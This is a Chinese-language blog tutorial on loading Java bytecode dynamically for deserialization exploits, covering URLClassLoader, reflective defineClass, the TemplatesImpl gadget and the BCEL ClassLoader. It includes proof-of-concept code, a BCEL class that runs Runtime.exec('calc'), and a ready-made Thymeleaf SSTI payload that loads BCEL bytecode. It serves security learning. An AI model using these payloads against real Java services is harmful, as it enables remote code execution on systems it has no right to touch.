目录

  1. 1. 前言
  2. 2. 字节码
  3. 3. 利用 URLClassLoader 加载远程class文件
  4. 4. 利用 ClassLoader#defineClass 直接加载字节码
  5. 5. TemplatesImpl 加载字节码
  6. 6. 利用 BCEL ClassLoader 加载字节码
    1. 6.1. BCEL
    2. 6.2. 利用
    3. 6.3. 在各个链子中的利用
      1. 6.3.1. FastJson BCEL
      2. 6.3.2. Thymeleaf SSTI BCEL

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Java动态加载字节码

2024/4/7 Web Java
  |     |   总文章阅读量:

前言

依旧跟着p牛的文章和狗佬的文章学,在大佬的文章之上加入了一些自己的理解


字节码

Java字节码(ByteCode)指的是JVM虚拟机执行使用的一类指令,通常被存储在 .class 文件中

因为Java是一门跨平台的编译型语言,所以开发者只需要将自己的代码编译一次,即可运行在不同平台的VM虚拟机中,甚至可以用Kotlin,Groovy这样能编译成 .class 文件的语言在JVM虚拟机中运行

以上是狭义上的字节码

这里的字节码要更广义一些:所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,其实都能被理解为字节码


利用 URLClassLoader 加载远程class文件

Java的ClassLoader是用来加载字节码文件最基础的方法,我们在cc1链涉及的java动态代理中已经见过了

ClassLoader是一个“加载器”,告诉Java虚拟机如何加载这个类。Java默认的 ClassLoader 就是根据类名来加载类,这个类名是类完整路径,如 java.lang.Runtime 。

而这里要用到的URLClassLoader是我们平时默认使用的 AppClassLoader 的父类,所以接下来就相当于解释默认的Java类加载器的工作流程

一般情况下,Java会根据配置项sun.boot.class.pathjava.class.path中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找 .class 文件来加载,这些路径分为三种情况:

  1. URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找 .class 文件
  2. URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找 .class 文件
  3. URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

前两个毫无疑问是本地用的,而最后一个情况要在非file协议的情况下才会用到,那最常见的就是http协议

简单写一段java代码编译成 .class(不要带上package,不然会变得不幸x)

public class Hello {
    public Hello() {
        System.out.println("Hello, world!");
    }
}

javac Hello.java编译,然后本地起一个http服务,我这里用python -m http.server 8000

package com.example;

import java.net.URL;
import java.net.URLClassLoader;
public class HelloClassLoader
{
    public static void main( String[] args ) throws Exception
    {
        URL[] urls = {new URL("http://localhost:8000/")};
        URLClassLoader loader = URLClassLoader.newInstance(urls);
        Class c = loader.loadClass("Hello");
        c.newInstance();
    }
}

image-20240407230437407

成功请求并执行了Hello.class

所以,作为攻击者,如果我们能够控制目标 Java ClassLoader 的基础路径为一个http服务器,则可以利用远程加载的方式执行任意代码


利用 ClassLoader#defineClass 直接加载字节码

不管是加载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用:

ClassLoader#loadClass -> ClassLoader#findClass -> ClassLoader#defineClass

  • loadClass:从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass:根据基础URL指定的方式来加载类的字节码
  • defineClass:处理前面传入的字节码,将其处理成真正的Java类

其中最关键的就是 defineClass,它决定了如何将一段字节流转变成一个Java类,而它是一个native层方法,逻辑在JVM的C语言代码中

那么我们准备一个demo,让系统的 defineClass 直接加载字节码:

package com.example;

import java.lang.reflect.Method;
import java.util.Base64;

public class HelloDefineClass {
    public static void main(String[] args) throws Exception {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
        Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code,0, code.length);
        hello.newInstance();
    }
}

其中的base64部分是字节码的System.out.println("Hello World")

注意:在defineClass被调用的时候类对象是不会被初始化的,只有这个对象显式地调用其构造函数才能继续执行初始化代码,即使我们将初始化代码放在类的static块中也无法被直接调用到。所以需要想办法调用构造构造函数,在这里就是hello.newInstance()

image-20240408014027461

当然,ClassLoader#defineClass是一个保护属性,我们没法在外部直接访问,只能使用反射来进行调用

实际情形里defineClass方法作用域不开放,但它却是攻击链TemplatesImpl里非常重要的一环


TemplatesImpl 加载字节码

defineClass 比较底层,java开发很少使用到这个东西,不过还是有一些类使用了这个方法,这就是TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类 TransletClassLoader

static final class TransletClassLoader extends ClassLoader {
    private final Map<String,Class> _loadedExternalExtensionFunctions;

     TransletClassLoader(ClassLoader parent) {
         super(parent);
        _loadedExternalExtensionFunctions = null;
    }

    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
        super(parent);
        _loadedExternalExtensionFunctions = mapEF;
    }

    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        // The _loadedExternalExtensionFunctions will be empty when the
        // SecurityManager is not set and the FSP is turned off
        if (_loadedExternalExtensionFunctions != null) {
            ret = _loadedExternalExtensionFunctions.get(name);
        }
        if (ret == null) {
            ret = super.loadClass(name);
        }
        return ret;
     }

    /**
     * Access to final protected superclass member from outer class.
     */
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

很明显这里重写了 defineClass 方法,并且没有显式地声明其定义域

在java里如果一个方法没有显式声明作用域,其作用域为default,所以这里的defineClass其实已经从protected类型变成了一个defaulted类型,已经可以被外部调用了

追溯一下,得到调用链如下:

TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

看最前面的两个方法:TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()

image-20240408015355003

这两个的作用域都是public,可以被外部调用,我们尝试用newTransformer()构造poc:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class TemplatesImplTest {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][]{bytes});
        setFieldValue(obj,"_name","test");
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
        obj.newTransformer();
    }

    // 利用反射给私有变量赋值的方法
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

这里我们使用了setFieldValue方法设置私有属性,分别是_bytecodes_name_tfactory

  • _bytecodes:不能为空,需要一个二维数组

    image-20240408212610015

    但是 _bytecodes 作为传递进 defineClass 方法的值是一个一维数组,而这个一维数组里面我们需要存放恶意的字节码

    写法如下:

    byte[] evil = Files.readAllBytes(Paths.get("evil.class"));  
    byte[][] codes = {evil};
  • _name:可以是任意字符串,只要不为null即可

    image-20240408212101523

  • _tfactory:需要是一个 TransformerFactoryImpl 对象,因为 TemplatesImpl#defineTransletClasses() 方法里有调用到_tfactory.getExternalExtensionsMap() ,如果是null会出错

    image-20240408212324150

    注意到 _tfactory 的关键字是 transient,这就导致了这个变量在序列化之后无法被访问,类中的定义如下:

    private transient TransformerFactoryImpl _tfactory = null;

    直接修改是不行的,但是我们这里的利用要求比较低,只要让 _tfactory 不为 null 即可,我们去看一看 _tfactory 的其他定义如何

    image-20240903203926601

    readObject() 方法中,找到了 _tfactory 的初始化定义,所以这里直接在反射中将其赋值为 TransformerFactortImpl 即可


但这个POC没法直接运行,跑了会报错,顺着报错在 TemplatesImpl 下个断点就能发现问题

image-20240903204755345

image-20240903204631675

418行这里检测了传入的字节码是否继承 ABSTRACT_TRANSLET 这个父类,没有则抛出异常

即TemplatesImpl对加载的字节码是有要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类

image-20240903205038575

所以我们需要构造一个继承了AbstractTranslet的类,在他的构造方法里去写我们要执行的代码

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TempClass extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public TempClass(){
        super();
        System.out.println("Hello TemplatesImpl");
    }
}

javac编译成class文件,再写一段代码转成base64

package com.example;

import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;

public class BytecodeToBase64 {
    public static void main(String[] args) throws Exception {
        // 读取字节码文件,这里只能用绝对路径
        Path path = Paths.get("D:\Code\Java\Java unserialize\demo\src\main\java\com\cc1\TempClass.class");
        byte[] bytecode = Files.readAllBytes(path);

        // 将字节码转换为Base64格式字符串
        String base64 = Base64.getEncoder().encodeToString(bytecode);

        // 输出Base64格式字符串
        System.out.println(base64);
    }
}

把那个输出的base64填充进去,得到我们最终的poc:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class TemplatesImplTest {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAA5UZW1wQ2xhc3MuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABFjb20vY2MxL1RlbXBDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA0ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADAABAA4ADwABAAkAAAAtAAIAAQAAAA0qtwABsgACEgO2AASxAAAAAQAKAAAADgADAAAAFQAEABYADAAXAAEAEAAAAAIAEQ==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][]{bytes});
        setFieldValue(obj,"_name","test");
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
        obj.newTransformer();
    }

    // 利用反射给私有变量赋值如下
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

image-20240408213644231

成功执行

之后在多个Java反序列化利用链,以及fastjson、jackson的漏洞中,都会出现 TemplatesImpl 的身影


利用 BCEL ClassLoader 加载字节码

版本限制:低于JDK 8u25

BCEL

参考:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

BCEL,全名 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被Apache Xalan所使用,而Apache Xalan又是Java内部对于 JAXP 的实现,所以 BCEL 也被包含在了JDK的原生库中

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API

这个库相较cc库最特殊的一点就是它被包含在了原生的JDK库中:com.sun.org.apache.bcel

JAXP 全名 Java API for XML Processing,是Java定义的一系列接口,用于处理XML相关的逻辑,包括DOM、SAX、StAX、XSLT等。Apache Xalan实现了其中XSLT相关的部分,其中包括xsltc compiler

XSLT(扩展样式表转换语言)是一种为可扩展置标语言提供表达形式而设计的计算机语言,主要用于将XML转换成其他格式的数据。既然是一门动态“语言”,在Java中必然会先被编译成Java,才能够执行。

XSLTC Compiler 就是一个命令行编译器,可以将一个 xsl 文件编译成一个class文件或jar文件,编译后的class被称为 translet,可以在后续用于对XML文件的转换。其实就将 XSLT 的功能转化成了Java代码,优化执行的速度,如果我们不使用这个命令行编译器进行编译,Java内部也会在运行过程中存在编译的过程。


利用

参考:https://boogipop.com/2023/03/21/BCEL-ClassLoader%E8%B5%9B%E5%8D%9A%E5%AD%A6%E4%B9%A0/

我们可以通过BCEL提供的两个类RepositoryUtility来利用:

  • Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码;
  • Utility 用于将原生的字节码转换成BCEL格式的字节码

而 BCEL ClassLoader 用于加载这串特殊的“字节码”,并可以执行其中的代码

那么简单准备两个类

package com.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class HelloBCEL {
    public static void main(String []args) throws Exception {
        JavaClass javaClass = Repository.lookupClass(calc.class);
        String code = Utility.encode(javaClass.getBytes(), true);
        //Class.forName("$$BCEL$$"+code,true,new ClassLoader());
        new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
    }
}
package com.example;

import java.io.IOException;

public class calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

这个poc首先通过Repository去读取 calc.class 文件,随后使用Utility.encode对字节流进行编码,最后在编码结果前加上$$BCEL$$即可弹出计算器(注释中的payload也是可以的)

在各个链子中的利用

FastJson BCEL

https://blog.csdn.net/GX233/article/details/124655533

Thymeleaf SSTI BCEL

https://turn1tup.github.io/2021/08/10/spring-boot-thymeleaf-ssti/

lang=::__${"".getClass().forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$U$9c$85B$a1$W$84$e2$f7$b7$t$c1$83$3dx$c4x1z$b1$w$R$83$e7$ed$b2$c1$c5$d2$92R$8c$fe$o$cf$5e$d4x$f0$H$f8$a3$8c$af$x$R$a3$7bx$_o$e6$cdL$de$7e$7c$be$bd$D$d8$c7$b6$F$Ts$W$e6$b1P$c0b$da$97L$y$9bX1$b1$ca$90$3fP$a1J$O$Z$b2$f5F$87$c18$8a$ba$92a$d6S$a1$3c$l$P$7c$Z_q$3f$m$c4$f1$o$c1$83$O$8fU$3aO$40$p$b9Q$a3$94$T$d1$c0$f5$a5$I$dc$W$7f$I$o$dem2$U$OD0$b1$$$b5$T$$n$cf$f8P$cb$u$9c$c1jG$e3X$c8$T$95$da$d8$T$d5$5e$9f$dfq$h$F$UM$ac$d9X$c7$GEP$aa$b0$b1$89$z$86Z$ca$bb$B$P$7b$ee$f1$bd$90$c3DE$nC$e5o8A$d3$c5$L$bf$_E$c2P$9dB$97$e30Q$D$ca$b5z2$f9$Z$e6$eb$N$ef$df$O$dda$c8$7b$v$Yv$ea$bf$d8v$S$ab$b0$d7$fc$zh$c5$91$90$a3Q$T$db$c8$d3$7f$a7$_$D$96$deB$d5$a2$c9$a5$ce$a8$e7v_$c0$9e4$3dC5$af$c1$Ml$aa$f6$f7$CJ$uS$_$60$f6G$7c$a1$cd$80$f2$x2N$f6$Z$c6$f5$p$8c$d3$t$8d$VI$97CV$bb90$a8$9a$84YH$3f$b2D$a8$ad$fd$81$8af2$9e$89$wH$e8h$b8$f6$Fz7$85$d0$t$C$A$A", true, "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance())}_______________